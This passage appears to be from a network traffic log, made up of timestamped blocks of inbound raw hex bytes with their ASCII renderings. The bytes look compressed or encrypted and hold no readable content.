36 08 1a 4a 41 9a ff c6 c8 41 35 cc 93 69 3d d5 37 5a 73 92 be 3c 8a 94 b1 8e 1c 67 e6 b5 66 7e a0 99 98 b2 7d 1f 76 63 
92 53 02 c9 35 98 db a2 f7 a9 6d 17 82 71 fc 5c 93 10 a3 37 a7 a2 29 b3 27 97 1a 8e 3b 4b 65 b8 31 30 14 df 2a cd 2b a5 
4c 2e 00 cd 71 39 9a 00 a6 9c 2e 2c 3c 07 12 b9 d2 a5 55 3e c6 3a 9e 49 52 46 66 05 a5 ad ad b1 10 23 9e de 66 6d b9 
75 9f 02 c7 fa 85 24 88 9f cb f9 2f ad 19 d9 0b 4c 
Data Ascii: qS=hGP;%mfmlY%+OaGY\p8SVG<#SNvTI3^="U5OXb6JAA5i=7Zs<gf~}vcS5mq\7)';Ke10*+L.q9.,<U>:IRFf#
fmu$/L

2021-11-25 16:27:48 UTC 849 IN Data Raw: d9 53 87 b3 c1 02 1c f2 c4 2b 1e e1 d9 dd 64 02 fb 4b a9 33 16 8c 0e ee a4 9c df d2 6a 4a a2 10 3e bc 2d 00 
d8 f6 0b de 9c 7a 87 26 e2 33 d8 33 99 6a 4f dc a5 af 32 bd 59 d0 34 fe 22 1d 71 b2 57 ef 28 1c cc 19 c9 c1 5f a0 9f 57 32 
95 73 90 91 62 75 03 59 a6 bd 87 03 7a 12 bd 71 40 e8 6f e2 39 90 5b 23 27 8b ce df cb 3a 2e 64 18 84 b8 99 73 34 d5 10 
03 17 26 92 08 59 b4 c5 4b 0c aa e3 52 a9 dc db da 47 f3 17 d7 ed 5b 6e 20 b4 5c 8a 63 57 dd cd de 93 b4 8a c6 27 eb 69
98 89 78 97 35 b5 d4 73 9c 18 1f 31 e1 5b 39 3b 7e ae 6d 5a 86 77 f3 4a 9e ab 90 13 88 f0 ea 27 3e 09 fe 72 15 ad ed 9c 
ab d1 b4 53 1c ef d3 58 6f db 3b ae aa 6d 07 1d a2 05 23 0e 93 3f aa b9 0a 9b 65 f1 82 4b 28 cd b5 90 8e 42 6c 20 b8 0e 
73 70 68 0b 3e 88 44 a4 70 22 ca ec 26 ed 69 3f c0 ce 
Data Ascii: S+dK3jJ>-z&33jO2Y4"qW(_W2sbuYzq@o9[#':.ds4&YKRG[n \cW'ix5s1[9;~mZwJ'>rSXo;m#?eK(Bl sph>Dp"&i?

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 850 IN Data Raw: c4 4f e8 cf 22 f0 c4 b6 ad 4b 27 bb b5 b6 68 38 eb db 10 82 4c 5f 5d 2e d0 7c a8 ba 14 7b fa 5a e0 e7 ee a1 16 
78 a9 5a 0b 16 6d d2 20 72 72 a5 f2 43 fb ad 21 e5 6f fe d2 d9 fc 24 9d 05 fb de 46 11 b3 7d d2 9f b5 a4 78 60 52 83 ca 6d 
77 48 ce 77 75 24 e4 9f cc d7 4e 23 5c 33 0f cb ef 31 30 b6 a5 a7 ac 74 88 8c 1e 98 73 82 67 c4 9e 76 e2 4e af ce f3 78 
2e 50 13 48 d4 e0 ad a8 a2 28 1f f9 22 b1 ad 3d e4 6b 11 ed 0c 0d 97 ad f7 9e fb f8 69 62 95 b0 47 4b 11 f7 01 37 10 30 
6a 4b 51 b8 00 35 03 cf 40 83 6d 61 ee b5 d1 cc ed d5 14 50 b0 c3 44 9f 61 e4 63 9e c4 c2 d8 d1 ff 04 f2 b3 46 cb 0d 54 
55 34 f8 7a 37 b0 fa dc 8f 1e 83 36 61 20 f9 85 2d 4a 06 c6 10 c7 a0 f8 3b 71 83 3b 1a b6 90 27 61 f4 10 1b 6b 69 0b 89 f1 
75 a2 28 2f 2a f6 80 07 d3 1d e7 18 ad ca 87 a7 
Data Ascii: O"K'h8L_].|{ZxZm rrC!o$F}x`RmwHwu$N#\310tsgvNx.PH("=kibGK70jKQ5@maPDacFTU4z76a -J;q;'akiu(/*

2021-11-25 16:27:48 UTC 852 IN Data Raw: 77 80 29 47 58 eb c0 b4 9a aa 35 62 b2 c9 fe 9a e8 5b 5d 40 75 bd fa 3b f5 c9 d3 06 40 a7 8d 60 c3 7f 7e b7 b6
ec 65 d3 ac aa 80 8b af eb 29 37 84 76 86 6c 59 3f 84 b4 83 23 58 96 0f db 1f b6 61 65 f8 8e de 81 c7 0e fc 7f b5 72 e7 
6b 9d 1b 51 6b c7 1e 9b b6 df 86 f6 b0 40 6d ba 38 5f 9e 60 e5 b1 f3 35 b8 76 ff 84 e5 36 ad 94 2f 86 07 a7 49 13 96 0b 20 
08 29 c2 c4 d3 d3 27 b0 d5 dd 9d 0f a3 cb 27 4e 75 6b e2 ee 74 9c a3 c2 45 7d 46 08 6e a7 b8 3e 34 ed 9e fb ed 51 f3 e0 
a2 ca a6 59 9c 3e 11 8d e8 37 9e f3 ec 86 09 97 b3 7e e4 82 18 38 a5 86 39 1e 35 07 a2 3b 9a a7 a0 9f d4 74 f8 f5 f8 74 
1b a8 ad 6d 55 90 a6 e1 5f 0b 4e 52 fa 01 df b5 de af 39 2d b6 61 a1 b3 93 0d dd 7d ad a2 6d 72 10 ba 88 4b 5a b8 7b 20 
c3 89 4b b7 b4 38 2f 56 69 93 1e 76 76 25 d4 a0 2c 
Data Ascii: w)GX5b[]@u;@`~e)7vlY?#XaerkQk@m8_`5v6/I )''NuktE}Fn>4QY>7~895;ttmU_NR9-a}mrKZ{ K8/Vivv%,

2021-11-25 16:27:48 UTC 853 IN Data Raw: bc 09 1a ee 4d e7 de b2 c7 f4 ef 73 88 a6 a5 6b 72 b0 8c bf de 59 da 05 1c 91 c4 02 21 ac d5 d6 c0 f7 bf 62 d9 
f0 7e 93 ea f0 64 c9 0e d2 68 f0 da d4 fe 21 06 22 dd da da f0 bc f5 b8 06 9e c2 8d ef cb 70 e5 c9 93 3d a8 85 45 56 8e 97 
6b a9 9b 81 8a 2d 25 c2 f0 a2 31 b8 3d 37 99 ca de 17 4b f7 d2 84 12 25 da 71 6a ff 8b c2 00 34 c5 aa f1 e9 c8 7e a7 d2 
cb b8 1a 30 a4 84 48 37 eb ea be 4c a9 10 af 21 30 62 93 cc cc b9 71 24 ac 9c 0a 3c 7b 8a bf 86 bc 29 c3 75 cd 99 32 21 
37 39 a5 bf 59 f3 32 b7 2b 13 93 c9 d5 e4 6d 4a f1 2c e5 35 b5 ce ed 4b dd 92 1d a2 b4 47 6e 6f 94 d9 2d fc a3 b0 8e 80 
5d bd 96 87 d8 14 e0 3a df 5b d6 7f 68 24 cd 8a bb 76 c3 5a b5 17 77 d7 d7 b0 29 61 3f 2d ea f2 79 c9 de 51 72 aa a6 41 
1b 89 9c 3d 0d a0 5d 05 a5 b5 6a aa ae 52 46 d7 2a 
Data Ascii: MskrY!b~dh!"p=EVk-%1=7K%qj4~0H7L!0bq$<{)u2!79Y2+mJ,5KGno-]:[h$vZw)a?-yQrA=]jRF*

2021-11-25 16:27:48 UTC 854 IN Data Raw: ae 84 87 4f 71 6b 0c b4 f7 88 b5 c8 9e 8c 6a f4 b6 63 fe 63 77 9b 1c 23 e8 f7 de 36 c0 4e 35 c5 a1 97 f3 4d 93 
e0 fc 61 c1 cb 58 4e 56 02 81 4f 9f cf f5 12 8b a2 2b f1 a3 47 fe db 36 8d 8d 06 06 03 44 db 5b ee fb 71 79 af 12 be d2 11 
58 ac ae e2 d6 e8 ae 6a 7d 4e 17 46 b1 ed 7b fc 4d 25 56 38 7a a7 52 df c4 d9 85 b2 a8 c0 64 b0 aa 5e 1f c7 8f da 04 be 
2d c4 a1 ee 57 70 d2 97 4b 0c 10 66 d8 23 8c e3 79 43 0e a8 b3 c0 b0 6d f9 c7 90 5f 5b 78 9b 79 48 c0 9c 6f b5 69 5d a4 
4d 26 00 04 9f b8 42 54 ce 34 2a ef f7 b9 7f d8 72 99 76 60 9b 63 72 28 59 16 d5 c0 f2 77 c2 d4 b9 c6 2a 98 4e cc 74 fd 96 
08 48 57 20 5f 14 89 5f 36 c8 a7 00 73 9f 96 cb e5 bc 21 22 b2 5b 17 33 53 0e ea 34 6d 01 54 2d d0 b4 0a 7a 39 2c c0 7d 
c0 73 a7 c3 49 42 51 6a 39 69 f1 70 ff 14 53 41 
Data Ascii: Oqkjccw#6N5MaXNVO+G6D[qyXj}NF{M%V8zRd^-WpKf#yCm_[xyHoi]M&BT4*rv`cr(Yw*NtHW __6s!"[3S4mT-
z9,}sIBQj9ipSA

2021-11-25 16:27:48 UTC 856 IN Data Raw: 82 82 cd bd e0 2e 32 8f 8c 1e 14 74 44 b8 b3 fa 1d 16 0d c8 c7 80 54 61 e8 e6 21 4c ba c2 c6 e2 46 28 b7 6b 
56 e1 38 5e 65 32 92 96 01 0a 94 cc 29 e4 ae f3 56 3e fb f2 0a a5 b6 83 12 65 6f 46 af 69 96 35 76 19 97 76 d0 1e 13 b8 
8c a7 87 17 d4 d2 43 60 b8 54 34 e7 15 ca 90 d1 4a 5e c6 45 72 63 62 e3 96 7b 6f 9e a4 86 1d ef 21 3a 5c b3 d3 86 f5 50 
32 c8 c2 03 7d 54 7e 79 d3 2e f0 11 61 96 67 ca 10 89 5c 2e 1f 4f 33 b8 1f 5e ab 86 f5 40 c8 af 1f 04 19 99 c0 3e ae d3 36 
ac 16 a7 f3 8c c0 f7 72 5e de 4a d2 a1 09 a6 82 90 1c a8 88 e2 9f 6f f2 f1 8d 8c 27 ce 63 f8 f7 85 b3 11 ef 34 10 21 a3 ad 
78 d4 d2 1d 09 bd 68 e7 94 6a 5c 96 32 e2 73 9b 85 a6 6c a2 cb bc 78 fb d3 f7 56 99 16 72 f2 55 0a 83 1f f2 e2 33 60 ea 
db 44 78 f4 45 27 e5 67 fe 2c db f8 f1 87 47 b4 70 
Data Ascii: .2tDTa!LF(kV8^e2)V>eoFi5vvC`T4J^Ercb{o!:\P2}T~y.ag\.O3^@>6r^Jo'c4!xhj\2slxVrU3`DxE'g,Gp

2021-11-25 16:27:48 UTC 857 IN Data Raw: ca 39 16 58 00 f7 a1 24 1d 5c cc 28 84 1d 40 ba 23 96 2f 93 ee a0 3c 3d 1a 94 3b 3b f2 76 6b 2c 7f 43 61 07 d0 
41 41 68 b2 93 ea 32 2c 77 58 f4 a7 a3 2b 60 52 54 2c d2 69 86 97 a1 cf 49 93 a8 3a a0 2b 79 d1 b0 70 60 e1 c3 52 2e 06 
d1 72 46 71 29 20 ad bd 4e ee 6b 33 1c 85 bd b6 75 d1 15 97 26 d5 50 44 48 e6 20 0f f6 2a 99 d4 07 f5 40 ce cc 9b a4 04 
6e 3e 08 73 f0 94 78 ca 38 76 64 ac 26 24 3c 98 02 29 2a 6a 17 62 09 9c b9 16 00 92 5a 6c 6e 1f 08 29 46 aa b8 00 c9 94 
07 f5 d1 9a 2f 2f 60 57 e0 8a e2 e6 0a cb d8 ca 42 66 08 86 bc 85 db 9e d2 86 5c c8 aa 42 a7 b2 a1 07 25 09 f2 d7 f0 75 
a3 a4 4d de 81 1d f9 2b d4 ba 90 f3 b0 cb 73 11 11 95 44 6e 93 9f cd 8a bd 9d 70 46 b3 b4 0a a3 d8 48 16 c5 7c 06 76 c9 
55 8e c6 b9 ae 7a 60 0a f4 06 6d c2 3c 2e a4 52 09 7f 
Data Ascii: 9X$\(@#/<=;;vk,CaAAh2,wX+`RT,iI:+yp`R.rFq) Nk3u&PDH *@n>sx8vd&$<)*jbZln)F//`WBf\B%uM+sDn
pFH|vUz`m<.R

2021-11-25 16:27:48 UTC 858 IN Data Raw: d8 1b 75 57 28 79 71 a4 a6 0f b4 d7 ab 25 9d ff f7 28 aa ac 8d f2 9f d0 53 3d c6 8e d1 d1 50 90 52 c2 12 03 02 
96 7e 40 4b a1 37 aa 5f 64 ed c5 50 e8 90 aa 74 19 73 ae cb 48 51 21 f2 08 45 c6 3c 49 6b 92 e0 bc 59 95 e1 2f be 5e cb 
e0 af 73 d8 ac 67 68 e8 e4 30 5a 01 c0 e6 1c c4 19 80 52 c8 55 86 a9 5f d7 20 bf 47 7d 82 c8 02 6b 08 e6 b1 b1 86 90 c7 
50 8d 01 8e c3 57 4e 43 d6 d0 47 cc c9 25 ce 50 98 d1 cb fa 1a 4a 9b 74 19 96 9b fd 3f a7 f4 1b 16 d6 51 f3 08 49 fa 95 33
cf df a7 11 2c a0 4a 5d 17 68 e7 b6 ad 6d f7 26 09 90 75 bf 54 c4 e8 0f 4d 62 a0 c1 f3 c6 67 27 d3 af 6a 66 2f c2 7b 8a 71 
8b c4 4f ff 97 b4 3f 88 f5 b8 f2 a7 ce 74 34 d2 9f e6 23 e7 58 7c 2d 5e 49 3f 59 4e a5 93 e7 2b 7e 7c 4b 8f c1 ca a4 5a 3f 
b9 64 2b 2f 8a ed fc 01 e2 35 c6 a8 02 3d 8c 
Data Ascii: uW(yq%(S=PR~@K7_dPtsHQ!E<IkY/^sgh0ZRU_ G}kPWNCG%PJt?QI3,J]hm&uTMbg'jf/{qO?t4#X|-^I?YN+~|
KZ?d+/5=

2021-11-25 16:27:48 UTC 859 IN Data Raw: 56 f6 c9 2e 75 ef b2 05 fd 14 5b c6 43 22 21 53 17 d9 15 c6 70 de a4 d5 4d 67 32 2d e1 2e 0f 2b 6d 19 60 6c f6 
76 2f 7a 72 84 7d 99 c6 e7 0d 31 ed bf 16 ad ef 54 66 c3 e2 b6 cd e2 ba 49 ba 2f 7a f3 e3 7a e3 71 25 63 65 ea e8 1f b9 
31 a6 24 a9 f4 c3 d6 56 4a e5 68 bd 2c 07 1d 7f 3b bd dd 6f 38 18 f5 70 da ce f0 a2 1d 5e 42 0c b0 6d 8e 96 06 aa c4 08 fd 
45 2c 8c 5b 70 cd 2f 4a 19 92 a7 3f 8d 7d 91 7a fa e3 b8 66 12 e9 08 fd 64 d0 91 31 25 6a 4e 30 8e cf 70 8c 32 65 e1 82 
81 21 6a e1 45 21 65 f0 dc 62 64 23 5f 2e f3 d3 a4 24 4b 49 c0 48 40 98 cd cd 75 23 79 9b 1f 1e 68 91 0c 30 11 00 34 15 
47 4d 29 9c d7 c2 6e 15 2b 99 7f c3 cc 14 95 82 f1 ce 4f 2b 0a 16 ad 83 f7 58 a2 a0 62 6b ab 38 65 76 89 c2 2a 51 f2 40 
e3 ae fe d9 da 8c 18 9e 18 f5 b5 37 e9 a2 59 16 15 
Data Ascii: V.u[C"!SpMg2-.+m`lv/zr}1TfI/zzq%ce1$VJh,;o8p^BmE,[p/J?}zfd1%jN0p2e!jE!ebd#_.$KIH@u#yh04G
M)n+O+Xbk8ev*Q@7Y

2021-11-25 16:27:48 UTC 861 IN Data Raw: 7d 60 92 33 f8 45 fb ed 85 b4 31 fa 23 b6 49 26 16 64 52 b9 57 bb b0 68 8d 00 39 b9 5f 4a c2 3a 37 49 f0 d1 a1 
1f a6 65 5a 01 88 e4 96 9a d4 4a c0 ed ef 10 8d 80 14 7c 85 14 65 c6 0b cd 92 27 f9 2c cd 96 f9 ec 06 e6 06 ff 94 d9 12 e8 
a4 79 99 67 4f f2 86 18 55 3c de 7d 3c 8d c7 f1 ad 34 96 e7 ab 5b b3 81 5f 28 0b 74 b9 e4 d2 2c 5e 1a a5 cb 78 f6 14 dc 
7e ea 0b 6e 9f 89 97 62 81 93 5b d1 87 d0 98 0a 55 69 e2 8b 86 ee 94 59 1b f6 9e f6 80 6c cc 87 f9 44 66 78 d9 c6 2b b3 
bc d1 79 ad 31 33 f7 bb ba 0e 1b 71 eb 1a 0a d3 09 26 84 14 d4 63 9a b1 c8 33 b7 91 67 44 fa 3e a6 19 41 ba 9b b3 79 03 
34 97 35 f5 c7 ce c9 24 d6 a4 09 90 f2 b7 50 1e 16 88 39 94 7f 05 f7 be 60 7a 7f 59 7a 55 41 b8 1a 6e 11 2f 84 25 4a 72 
cd 64 ca 80 4a be e3 03 95 b6 2a c2 4a 46 28 d6 0a 
Data Ascii: }`3E1#I&dRWh9_J:7IeZJ|e',ygOU<}<4[_(t,^x~nb[UiYlDfx+y13q&c3gD>Ay45$P9`zYzUAn/%JrdJ*JF(

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 862 IN Data Raw: 45 1f 1a 90 70 1b 91 76 0c 8f 1e 90 a8 f7 e0 80 d2 df f8 80 2a 34 6c 58 79 7c 53 b4 78 3e 52 b4 41 53 6b 5c f2 
c7 32 c3 69 49 78 aa a0 df 24 89 3f 1f 68 41 48 e1 90 4c 44 77 63 33 12 9d b5 51 79 5e 78 11 0e 55 a8 7e 94 2d 2b 9a f0 
6b af 79 a8 45 ed 87 18 47 c2 37 05 21 ca fd ba 91 c5 5e f1 92 a2 d0 6d 89 78 1a 6f 34 74 eb 62 40 63 bc 8e d3 99 b4 40 
86 6b d3 3c 34 9e 03 21 a6 22 a0 62 9b e8 86 ca cf ca 0e d9 57 b9 ac 8a 7d 04 6b 4c 99 3d db 7a 96 a7 34 c2 44 b8 72 b7 
eb 6d 66 6c 11 01 d1 2b 6f fa e4 f5 8b c1 30 53 31 e7 55 9c 71 d7 49 33 ff d0 e5 3e a2 80 2c 0d db 4b 84 29 da d9 f3 45 ff 
d5 34 57 83 c7 a5 67 bb 02 ba 1b fa 37 ac f4 e7 b6 97 d5 6b d7 a6 b0 98 b5 b7 71 8b 48 f4 5c a3 82 b5 7c 4e 3e d4 d4 07 
ee fa ff ab a2 0c 5a 81 05 1f 88 25 68 60 1a 63 83 
Data Ascii: Epv*4lXy|Sx>RASk\2iIx$?hAHLDwc3Qy^xU~-+kyEG7!^mxo4tb@c@k<4!"bW}kL=z4Drmfl+o0S1UqI3>,K)E4
Wg7kqH\|N>Z%h`c

2021-11-25 16:27:48 UTC 863 IN Data Raw: 52 6d bc 1c c0 40 a3 c6 f0 d4 ba ff ca fb 5a 88 1f f6 ba 5d 33 34 6f 65 38 10 91 3f 19 1a 23 16 74 33 d9 1e 6b 
14 3d 01 2d b1 34 33 c1 81 82 60 6c 7f 4e f3 8a 38 09 8c fe a0 0b 7d b4 4b 61 08 e8 2f 81 8a b4 89 b1 7a 81 cf 66 ce 7d 
0c 73 7e 3f 63 8c b6 60 c0 65 20 d6 75 7e 36 9d 72 cb 37 00 a4 88 f3 47 31 99 a1 ec b4 9e 29 59 94 13 ea 6c b4 a7 f0 24 
9e c6 71 02 97 de fe 84 b6 3f 40 3b a3 51 59 9e 90 54 ef 15 9c ff 77 74 99 c1 0a 02 d7 9e bd 47 f6 32 2c a2 ce 3f 29 0c 50 
34 98 30 25 f8 2c 1d 45 b6 8c 31 41 2c e9 a0 30 38 68 60 e1 d9 e8 97 bc ba 30 c5 55 a2 00 c9 09 5e b0 69 fa 85 bf 2c 67 
e9 38 af be 24 3d f8 cd 3b 25 21 07 25 60 a8 76 72 64 f4 05 d3 2b be e6 3b f2 fb 4e 2f 96 cc 04 59 e2 ad 1d 28 1a a0 ca c1
c6 f3 24 9c 76 4c 31 8f 4a 4d fd 7f d8 fb 16 ee 
Data Ascii: Rm@Z]34oe8?#t3k=-43`lN8}Ka/zf}s~?c`e u~6r7G1)Yl$q?@;QYTwtG2,?)P40%,E1A,08h`0U^i,g8$=;%!%
`vrd+;N/Y($vL1JM

2021-11-25 16:27:48 UTC 864 IN Data Raw: d9 84 eb fd c1 fd 8a b3 94 11 df 1d fd ba 87 ee 1d b0 93 f8 0c a6 a2 c8 af fb 04 c4 d4 87 5d fa 22 79 5e 5e 5d 
b4 6f a6 93 c1 19 9c 86 ff f6 2a 7c ff 6e ef c5 6f b7 6f 5e fc f6 eb 8f 5f e2 5f fe 31 7f 7f b8 7d b3 f3 69 2b dd 7e 77 f1 8f ed 4f
6f ae 93 8d ed 8b e4 a8 97 ee be 7b f3 6a 3b 7d f3 22 fe e5 e7 97 3f 4d ff f1 0a d2 5d 6f 6f ae 5f ec 7e fa 09 ff 4b df 7f ba c
9 e0 bf eb b3 17 37 df ff f6 e2 1f f3 ed 77 6f ae e2 5f be ef 8d be 40 de a3 0f f3 bd 8d eb 97 3b 98 f6 e8 a7 72 2f 5d 7f b5 
b3 b9 75 bb bd b9 d5 83 bf af e0 ef 2a 7c 2b 77 8f 3e ce e1 db cd ee c6 2b f6 7d 63 fb ea fd a7 eb ab df be bc fa fb ce 4b 
68 e7 97 57 91 17 82 50 80 17 09 ff 93 9d fa f8 eb 41 be fd c3 4f ff d8 fe dc bb d9 3f 5c 7f 01 8d bd 39 db e8 dd e0 df 9d a3 
ad f9 de e6 56 b5 77 
Data Ascii: ]"y^^]o*|noo^__1}i+~wOo{j;}"?M]oo_~K7wo_@;r/]u*|+w>+}cKhWPAO?\9Vw

2021-11-25 16:27:48 UTC 866 IN Data Raw: 22 66 98 b3 ef 13 68 7c a2 40 e3 09 49 1e aa 41 d7 3e ea 7d 1f 26 24 08 fd 18 ab b8 ec 9f 07 66 01 ae 7b 1b 
09 24 13 25 8c 72 7d 0c 07 30 d2 30 2c 4a 3c 82 4c d2 59 67 16 63 a4 31 0c 89 9d 17 1d 58 15 e7 a4 a6 f2 46 f3 a2 cc 0b 
e6 e3 31 91 ae 1e f0 e3 b2 48 ce 49 e9 5b a0 3d 27 b7 49 13 8f d3 74 ac 1e 60 ab a3 87 f2 33 fc 41 1f c5 cf 09 fd b8 a5 0a 
ae e8 ee a7 93 9c 9f 63 3c c2 13 e0 0a 31 b7 af 3e da dd 81 01 b9 20 17 b2 95 b4 7c 8b 71 4e 13 9f 7b 8b 8f a5 13 38 3a 
8c 73 47 f0 0f 59 19 9f 27 ad 38 1b b7 e6 19 3b ed 25 e3 56 96 67 9d 8c 72 b5 60 b5 c0 38 b6 ce 8b 7c da d2 4d b5 68 2c 
ba 2a b4 4b 16 79 a7 23 20 a7 c4 6b 8f 11 26 0b 41 a1 f0 4f 3b ca 48 97 a3 a8 ad 7e db 75 9c 8e 4f 3c ed b8 57 b1 78 11 
39 5e e0 a6 51 6f 90 ae 89 58 d9 83 b4 dd 0e f2 76 e4 
Data Ascii: "fh|@IA>}&$f{$%r}00,J<LYgc1XF1HI[='It`3Ac<1> |qN{8:sGY'8;%Vgr`8|Mh,*Ky# k&AO;H~uO<Wx9^QoXv

2021-11-25 16:27:48 UTC 867 IN Data Raw: 04 2d 0f 7b 29 4e c1 3a 7c 43 58 e6 a7 4f 57 f4 63 a9 88 38 d1 2d f3 69 e2 92 93 2b d8 19 40 9c f1 b3 80 ee 58 
97 d4 b8 1a 2c 34 22 71 50 89 35 45 72 fc bc 70 e4 fe b0 75 33 b3 bf 4d c7 4c 8c 13 68 9f 70 cc b3 cd 91 d8 a8 29 e0 df 
86 04 ae 61 9d 2f 4f ab 27 9d 05 3a 62 2f 29 58 f0 de ff b1 08 cd 82 d5 89 75 7e ec 6d ef bd ff 70 04 9f 8e b6 7e 3d 5a 3f 
40 a2 f1 58 c0 63 f8 b1 bb d9 e1 bf 4f 10 6c 02 04 f5 f1 7c a4 4f 97 11 78 05 56 d5 28 86 63 b7 27 c2 5e fc 17 82 d3 85 ac 
3f f2 19 05 df 63 60 14 2c 76 5b 88 31 7d 1f 5d 72 05 47 89 ff 12 81 26 80 9d d0 a3 28 de ab 95 3c 70 f1 13 ce cb 6b 11 ba 
32 b2 33 b6 44 f6 8a 62 30 d6 df 8f e5 91 c8 6c 71 8a 39 fc ec fe 3e a7 20 56 75 d5 ac e3 54 20 9a 8f 84 de 00 ae cb be 0f 
50 88 ad 59 b6 50 cc 0d 32 33 87 b6 36 26 
Data Ascii: -{)N:|CXOWc8-i+@X,4"qP5Erpu3MLhp)a/O':b/)Xu~mp~=Z?@XcOl|OxV(c'^?c`,v[1}]rG&(<pk23Db0lq9> VuT 
PYP236&

2021-11-25 16:27:48 UTC 868 IN Data Raw: 60 56 18 7a b3 32 a3 55 35 36 32 09 42 d7 f6 b4 99 54 b0 5f 33 13 71 4f b5 ab b6 19 ae d6 ce 6c 22 6d 0f f6 4f 
93 86 07 2b ab 64 e4 be d2 63 76 1b 63 26 57 a2 ca 72 30 6a 96 bd b5 f9 48 68 dd ae f4 16 04 cf 30 00 c9 02 e6 64 c0 1c 
77 67 0f 07 85 3a d7 83 42 9d 6b 41 a1 2a 3c e0 e9 41 a1 54 7b c6 20 9c 69 f1 a1 60 b0 b2 0b 3a 13 99 c2 1a 3f f8 4c 80 
31 74 99 6a 55 f1 8f d0 c9 55 4c f6 03 d3 90 21 97 c9 35 60 6c 4d ea bb 70 22 d0 cc f4 d8 83 68 bf 04 ff d3 e0 a5 bf b6 80 
55 da 83 b1 90 81 73 61 cc 4c 58 0d 1c cd 72 8b 4c e4 d1 52 c6 5a 28 66 e2 de da 14 21 3e fc 40 8a 84 24 79 77 af 38 5a 
e8 fd fd 1d 34 fd 2c 66 e7 99 60 b1 6c b7 ab 35 da 6a 17 bd 61 92 35 df b0 16 ba 01 dc 0c d6 59 fd 60 b5 ee 39 c3 f3 d5 c3
f1 d9 a7 a9 24 cc 55 0c 63 0d 58 00 c3 ac 4a 4d 
Data Ascii: `Vz2U562BT_3qOl"mO+dcvc&Wr0jHh0dwg:BkA*<AT{ i`:?L1tjUUL!5`lMp"hUsaLXrLRZ(f!>@$yw8Z4,f`l5
ja5Y`9$UcXJM

2021-11-25 16:27:48 UTC 870 IN Data Raw: ef be d4 cd 7b cf 4c 30 2b 53 5b 96 45 4d 23 3b d0 a4 6f 39 0d 12 3a ca dd 39 5a 4f cb 3b 67 35 bc 67 76 ab a9 
eb 0d 5d bb 32 66 d8 31 17 0e 7b 07 66 d8 da 9c d6 48 6a 1c 2c 0c a6 ef a6 31 89 fe 2d ef cd 96 b7 65 01 eb 44 5f 56 4d 
57 f0 8d 05 68 83 21 18 20 9c 87 12 38 2d 23 7c 7f 46 56 6e 9b 0f 42 3b 4e 09 b7 65 3b fb 7c 90 ce 66 64 6a b6 d7 88 77 
79 68 7d 11 b6 6e 36 20 8d 30 ec 7a 34 26 e4 a4 09 64 c6 84 83 c4 96 ea 00 42 9b 36 5e 0c 83 a0 d9 73 bd de 46 04 36 
e8 c1 83 b8 24 30 30 f3 6f 00 16 0d b7 6b 18 3b 58 8e 66 02 a3 0d ba 9c 88 fa 58 c1 cf 22 cf ab 43 91 42 9a 3c 3e 38 88 
d4 70 1b dd 19 5b 81 30 b3 1e b4 2f 08 df 7d 13 b6 28 2f d8 34 20 a3 de bd 83 32 f7 ff 1a 44 57 5e 89 e1 f3 c9 2a d9 7f dc 
9c bd 79 3c 82 17 b3 e2 69 6e c6 49 33 cc a8 9c 39 63 
Data Ascii: {L0+S[EM#;o9:9ZO;g5gv]2f1{fHj,1-eD_VMWh! 8-#|FVnB;Ne;|fdjwyh}n6 0z4&dB6^sF6$00ok;XfX"CB<>8p[0/}(/4 
2DW^*y<inI39c

2021-11-25 16:27:48 UTC 871 IN Data Raw: 3b 68 b7 2b ba d3 3a ae 4e 9a 54 89 fc 0c 21 86 52 a8 aa 57 5d dc 5d db de 9b 16 61 dd 1b 08 05 8a ae ac 68 
50 61 00 3f d5 04 11 c5 2a 30 88 b6 61 97 6e da 9c 48 29 f9 de a5 85 0a 4d 55 e3 a3 f5 21 35 ad 14 e9 81 de 3f 5e 67 e4 
28 42 c6 e3 79 c0 45 b4 ee d2 c5 00 f3 19 82 6c c2 6e b3 75 5f 7a 8e 3f 5b a2 2b 3c 9a ea 78 e4 c7 19 ee 3c 1c 80 87 b4 
4a 7f 42 4d 84 ea 4f 5d 4f b4 93 50 b5 4d 7a 0f 2b 94 95 50 7c 08 a1 88 9a 63 84 d6 02 56 ea 8d 10 82 ee 2c bf 21 0f 4c e6
54 e0 15 f1 38 cd e5 0b 01 89 8d a7 25 fe 8a 23 6e 43 7b b7 26 cc a6 40 70 23 34 f9 a2 8f 8c 01 d7 3e af 9e 84 22 e8 25 
36 9e 88 5d c4 ff 2b 69 53 32 3a 48 91 c0 f7 2e 50 67 5d b7 d1 b4 4f 7b ba 0a e9 58 4c 9b 30 f3 f0 b8 83 86 74 b9 64 8f 23 
86 c0 87 b3 64 38 70 29 83 5d 46 05 04 97 51 1f 7c 
Data Ascii: ;h+:NT!RW]]ahPa?*0anH)MU!5?^g(ByElnu_z?[+<x<JBMO]OPMz+P|cV,!LT8%#nC{&@p#4>"%6]+iS2:H.Pg]
O{XL0td#d8p)]FQ|

2021-11-25 16:27:48 UTC 872 IN Data Raw: df dd 91 b9 2d 9d 12 3c de c7 92 73 5d b2 b8 9f 15 e9 34 86 63 9d eb db 3c 13 8f 5e 7f c5 f1 5d 40 f8 e8 04 9b 
8c 5d 0d 34 c4 09 73 2b ce 50 f9 5d cb 21 86 bb 71 03 d7 cd 09 5c 61 60 51 7e 12 b7 0d 56 f1 9a fc 6c 2c 1e df ec 62 04 
52 92 58 1a da ec 9b 5a 48 4d 8f d5 13 96 0e 8f 4c df 59 ad b5 4c 09 36 8d fd 16 ad ab f7 c9 05 be e4 1b 33 13 e1 5d 8d 
a3 89 12 d0 e9 93 a9 e2 28 6b fb b7 29 43 f1 f9 36 b3 29 ce 57 cf b8 62 ce 1d 57 c6 48 9d 94 0e a7 1b dc 8d b5 03 39 c5 
29 a8 4a 61 2c b8 a5 74 01 86 ed 
Data Ascii: -<s]4c<^]@]4s+P]!q\a`Q~Vl,bRXZHMLYL63](k)C6)WbWH9)Ja,t

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 872 IN Data Raw: 20 4b 4f 78 f3 ea 64 ff c0 09 7e 16 67 c9 a3 43 d6 6a 46 aa a6 79 e5 7b 56 4a 7d f9 b1 e0 04 ef a9 fd fd 24 44 
a0 d8 c9 84 3d 96 fd 2a 24 ed 9a 78 cc 25 5e e7 57 76 b2 86 d8 69 40 55 8f fd 54 60 76 12 62 a7 d0 41 fe bd 07 47 47 3a 
